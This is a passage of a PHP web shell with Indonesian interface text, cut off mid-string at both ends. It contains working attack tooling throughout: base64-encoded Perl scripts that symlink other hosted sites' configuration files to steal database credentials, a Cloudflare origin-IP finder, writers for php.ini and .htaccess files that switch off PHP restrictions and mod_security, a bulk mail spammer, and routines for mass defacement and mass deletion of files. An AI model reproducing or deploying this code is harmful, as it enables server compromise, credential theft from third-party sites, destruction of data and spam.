vc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICI8YnI+PGJyPjxicj48Zm9udCBjb2xvcj1yZWQ+RG9uZSAhISA8aW1nIHNyYz0naHR0cDovL2kuaW1ndXIuY29tL0x0dWtFSk4ucG5nJyAgaGVpZ2h0PSc3MCcgd2lkdGg9JzYwJz48L2ZvbnQ+IjsNCg==';
$file = fopen("xaivhost.cin","w+");
$write = fwrite($file,base64_decode($xaivhost));
fclose($file);
chmod("xaivhost.cin", 0755);
echo "<center><a href='xaivhost' target='_blank'><font color='lime'>>> XaiVhosts <<</font></a></center>";
}}
elseif($_GET['do'] == 'phpinfo') {
@ob_start();eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='mybox'><div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div></div>";
} 
elseif($_GET['bypass'] == 'cloudfl') {
echo '<form method="post">
<center>
<h3>Bypass CloudFlare</h3>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-connect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass!"></center>';
$target = $_POST['target'];
    # Bypass From FTP
    if ($_POST['krz'] == "ftp") {
        $ftp = gethostbyname("ftp." . "$target");
        echo "<br><p align='center' dir='ltr'>
        <font color='white'>CORRECT IP IS: </font>
        <font color='lime'>$ftp</font></p>";
    }
    # Bypass From Direct-Connect
    if ($_POST['krz'] == "direct-connect") {
        $direct = gethostbyname("direct-connect." . "$target");
        echo "<br><p align='center' dir='ltr'>
        <font color='white'>CORRECT IP IS: </font>
        <font color='lime'>$direct</font></p>";
    }
    # Bypass From Webmail
    if ($_POST['krz'] == "webmail") {
        $web = gethostbyname("webmail." . "$target");
        echo "<br><p align='center' dir='ltr'>
        <font color='white'>CORRECT IP IS: </font>
        <font color='lime'>$web</font></p>";
    }
    # Bypass From Cpanel
    if ($_POST['krz'] == "cpanel") {
        $cpanel = gethostbyname("cpanel." . "$target");
        echo "<br><p align='center' dir='ltr'>
        <font color='white'>CORRECT IP IS: </font>
        <font color='lime'>$cpanel</font></p>";
    }
}
elseif($_GET['bypass'] == 'vhosts'){
	echo "<form method='post' action=''>";
	echo "<center><h3>Bypass Symlink vHost</h3>";
	echo "<input type='submit' value='Bypass!' name='jembut'>";
		if (isset($_POST['jembut'])){
                        mkdir('symvhosts', 0755);
                        chdir('symvhosts');
                        system('ln -s / kuda.txt');
			$fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBrdWRhLmh0bWwNCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHA=';
			$file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","kuda.txt");
			$rt="<a href='symvhosts/kuda.txt' target='_blank'><font color='lime'>Bypassed Successfully!</font></a>";
	echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br><br>$rt<br>Note: Kalo Forbidden pas ngebuka /var/www/vhosts/domain.com/ harap tambahkan httpdocs ex:/var/www/vhosts/domain.com/httpdocs/</center>";} echo "</form>";
}
elseif($_GET['bypass'] == 'disablefunc'){
		echo "<center><h3>Bypass Disable Functions</h3>";
		echo "<form method='post'><input type='submit' name='ini' value='php.ini'>&nbsp;<input type='submit' name='htce' value='.htaccess'>&nbsp;<input type='submit' name='litini' value='Litespeed'></form>";
		if(isset($_POST['ini']))
{
		$file = fopen("php.ini","w");
		echo fwrite($file,"safe_mode = OFF
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF");
		fclose($file);
		echo " <a href='php.ini' target='_blank'>Click Here!</a>";
}		if(isset($_POST['htce']))
{
		$file = fopen(".htaccess","w");
		echo fwrite($file,"<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>");
		fclose($file);
		echo " htaccess successfully created!";
}               if(isset($_POST['litini'])){
		$iniph = "PD9waHANCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXTsNCj8+";
		$byph = "c2FmZV9tb2RlID0gT0ZGXG5kaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkVcbnNhZmVfbW9kZV9naWQgPSBPRkZcbm9wZW5fYmFzZWRpciA9IE9GRg==";
		$comp = "PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjRmlsdGVyRW5naW5lIE9mZlxuU2VjRmlsdGVyU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPg==";
		file_put_contents("php.ini",base64_decode($byph));
		file_put_contents("ini.php",base64_decode($iniph));
		file_put_contents(".htaccess",base64_decode($comp));
		echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
		echo"</center>";
}
}
elseif($_GET['do'] == 'spam_mail'){
if(isset($_POST['oksend']) AND !empty($_POST['fremail']) AND !empty($_POST['tremail']) AND !empty($_POST['subjectt']) AND !empty($_POST['msgmail']) AND !empty($_POST['ctmail']) AND !empty($_POST['frname']) AND is_numeric($_POST['ctmail'])){
$FromEmail = $_POST['fremail'];
$TargetEmail = $_POST['tremail'];
$Subject = $_POST['subjectt'];
$Message = $_POST['msgmail'];
$Count = $_POST['ctmail'];
if(isset($_POST['htmlcontents'])){
$headers = "From: ".$_POST['frname']." <".$FromEmail.">rn";
$headers .= "MIME-Version: 1.0rn";
$headers .= "Content-Type: text/html; charset=ISO-8859-1rn";
$linenterr = '<br/>-<br/>';
}else{
$headers = "From: ".$_POST['frname']." <".$FromEmail.">";
$linenterr = '
-
';
}
$i=1;
while($i <= $Count){
if($Count==1){
$Subjectz = $Subject;
$Messagez = $Message;
}else{
$Subjectz = $Subject.' - '.$i;
$Messagez = $Message.$linenterr.$i;
}
if(mail($TargetEmail, $Subjectz, $Messagez, $headers)){
echo '<center><font color="lime">'.$i.' - Success Cok!</font></center><br>';
}else{
echo '<center><font color="red">'.$i.' - Failed Cok!</font></center><br>';
}
$i=$i+1;
}
}else{
echo '<form method="post">
<center><h3>Mail Spammer</h3>
<p>Gunakan Email Pengirim Yang Asli Agar Pesan Tidak Dianggap Spam</p><br/>
Sender Email:<br/>
<input type="email" size="40" name="fremail" placeholder="[email protected]" value="'.htmlspecialchars($_POST['fremail']).'"><br/><br/>
Sender Name:<br/>
<input type="text" size="40" name="frname" placeholder="Unknown" value="'.htmlspecialchars($_POST['frname']).'"><br/><br/>
Target Email:<br/>
<input type="email" size="40" name="tremail" placeholder="[email protected]" value="'.htmlspecialchars($_POST['tremail']).'"><br/><br/>
Subject:<br/>
<input type="text" size="40" name="subjectt" placeholder="Maqlo Heker.." value="'.htmlspecialchars($_POST['subjectt']).'"><br/><br/>
Message:<br/>
<textarea cols="30" rows="8" name="msgmail" placeholder="gue gans, tq.">'.htmlspecialchars($_POST['msgmail']).'</textarea><br/><br/>
Spam Count:<br/>
<input type="number" size="40" name="ctmail" placeholder="10" value="'.htmlspecialchars($_POST['ctmail']).'"><br/><br/>
<input type="checkbox" name="htmlcontents" value="HTML Contents">HTML Contents:<br/><br/>
<input type="submit" name="oksend" value="Send!"></form></center>';
}
}
elseif($_GET['do'] == 'mass_deface') {
	echo "<form action='' method='post'>";
	$dirr=$_POST['d_dir'];
	$index = $_POST["script"];
	$index = str_replace('"',"'",$index);
	$index = stripslashes($index);
	function edit_file($file,$index){
		if (is_writable($file)) {
		clear_fill($file,$index);
		echo "<center><span style='color:lime;'><strong> [+] Nyabun 100% Successfull </strong></span></center><br>";
		} 
		else {
			echo "<center><span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span></center><br>";
			}
			}
	function hapus_massal($dir,$namafile) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					if(file_exists("$dir/$namafile")) {
						unlink("$dir/$namafile");
					}
				} elseif($dirb === '..') {
					if(file_exists("".dirname($dir)."/$namafile")) {
						unlink("".dirname($dir)."/$namafile");
					}
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							if(file_exists($lokasi)) {
								echo "[<font color=lime>DELETED</font>] $lokasi<br>";
								unlink($lokasi);
								$idx = hapus_massal($dirc,$namafile);
							}
						}
					}
				}
			}
		}
	}
	function clear_fill($file,$index){
		if(file_exists($file)){
			$handle = fopen($file,'w');
			fwrite($handle,'');
			fwrite($handle,$index);
			fclose($handle);  } }

	function gass(){
		global $dirr , $index ;
		chdir($dirr);
		$me = str_replace(dirname(__FILE__).'/','',__FILE__);
		$files = scandir($dirr) ;
		$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
		sort($files);
		$n = 0 ;
		foreach ($files as $file){
			if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
				echo "<center><span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
				edit_file($file,$index);
				flush();
				$n = $n +1 ;
				} 
				}
				echo "<br>";
				echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
					}
	function ListFiles($dirrall) {

    if($dh = opendir($dirrall)) {

       $files = Array();
       $inner_files = Array();
       $me = str_replace(dirname(__FILE__).'/','',__FILE__);
       $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
        while($file = readdir($dh)) {
            if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
                if(is_dir($dirrall . "/" . $file)) {
                    $inner_files = ListFiles($dirrall . "/" . $file);
                    if(is_array($inner_files)) $files = array_merge($files, $inner_files);
                } else {
                    array_push($files, $dirrall . "/" . $file);
                }
            }
			}

			closedir($dh);
			return $files;
		}
	}
	function gass_all(){
		global $index ;
		$dirrall=$_POST['d_dir'];
		foreach (ListFiles($dirrall) as $key=>$file){
			$file = str_replace('//',"/",$file);
			echo "<center><strong>$file</strong> ===>";
			edit_file($file,$index);
			flush();
		}
		$key = $key+1;
	echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
	function sabun_massal($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $lokasi<br>";
							file_put_contents($lokasi, $isi_script);
							$idx = sabun_massal($dirc,$namafile,$isi_script);
						}
					}
				}
			}
		}
	}
	if($_POST['mass'] == 'onedir') {
        echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:white;' name='index' rows='10' cols='67'>
";
        $ini="http://";
        $mainpath=$_POST[d_dir];
        $file=$_POST[d_file];
        $dir=opendir("$mainpath");
        $code=base64_encode($_POST[script]);
        $indx=base64_decode($code);
        while($row=readdir($dir)){
        $start=@fopen("$row/$file","w+");
        $finish=@fwrite($start,$indx);
        if ($finish){
            echo"$ini$row/$file
";
            }
        }
        echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
        $mainpath=$_POST[d_dir];$file=$_POST[d_file];
        $dir=opendir("$mainpath");
        $code=base64_encode($_POST[script]);
        $indx=base64_decode($code);
        while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
        $finish=@fwrite($start,$indx);
        if ($finish){echo '<a href="http://'.$row .'/'.$file.'" target="_blank">http://'.$row.'/'.$file.'</a><br>'; }
        }

    }
	elseif($_POST['mass'] == 'sabunmassal') { gass(); }
	elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
	elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
	elseif($_POST['mass'] == 'massdeface') {
		echo "<div style='margin: 5px auto; padding: 5px'>";
		sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
		echo "</div>";	
		echo "</div>"; }
	else {
		echo "
		<center><font style='text-decoration: underline;'>
		Select Type:<br>
		<select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
		<option value=\"onedir\">Mass Deface 1 Dir</option>
		<option value=\"massdeface\">Mass Deface ALL Dir</option>
		<option value=\"sabunmassal\">Sabun Massal Di Tempat</option>
		<option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
		<option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
		Folder:<br>
		<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
		Filename:<br>
		<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
		Index File:<br>
		<textarea name='script' style='width: 450px; height: 200px;'>Visited By Mr.xBarakuda</textarea><br>
		<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
		</form></font></center>";
		}
}
elseif($_GET['do'] == 'config') {
    $idx = mkdir("kuda_config", 0777);
    $isi_htc = "Options FollowSymLinks MultiViews Indexes ExecCGI
Require None
Satisfy Any
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
    $htc = fopen("kuda_config/.htaccess","w");
    fwrite($htc, $isi_htc);
    fclose($htc);
    if(preg_match("/vhosts|vhost/", $dir)) {
        $link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
        $vhost = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYucGhwJywkc2l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsJHNpdGVzcy4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jc